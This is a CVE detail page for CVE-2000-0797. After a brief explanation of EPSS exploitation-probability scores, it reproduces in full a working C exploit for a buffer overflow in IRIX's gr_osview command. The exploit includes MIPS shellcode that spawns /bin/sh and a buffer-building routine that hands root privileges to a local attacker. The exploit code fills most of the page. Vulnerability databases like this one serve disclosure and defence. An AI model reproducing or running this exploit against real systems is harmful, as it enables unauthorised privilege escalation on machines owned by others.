CVE-2000-0797 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/1526/info Under certain versions of IRIX, the 'gr_osview' command contains a buffer overflow that local attackers can exploit to gain root privileges. The gr_osview command produces a graphical display of memory-management activity, including memory usage, page faults, TLB activity, and page swapping. This display provides a realtime window into the overall operation of the system. The buffer overflow itself is in the command-line parsing code and can be overflowed via a long user-supplied string. */ /*## copyright LAST STAGE OF DELIRIUM jan 1997 poland *://lsd-pl.net/ #*/ /*## /usr/sbin/gr_osview #*/ #define NOPNUM 3000 #define ADRNUM 3000 #define PCHNUM 1024 #define ALLIGN 1 char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],pch[4],*b; int i; printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland //lsd-pl.net/\n"); printf("/usr/sbin/gr_osview for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n"); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10256+1500+1024+3000; *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10256+1500+1024+32636; b=buffer; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<PCHNUM;i++) *b++=pch[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; execl("/usr/sbin/gr_osview","lsd","-D",buffer,0); }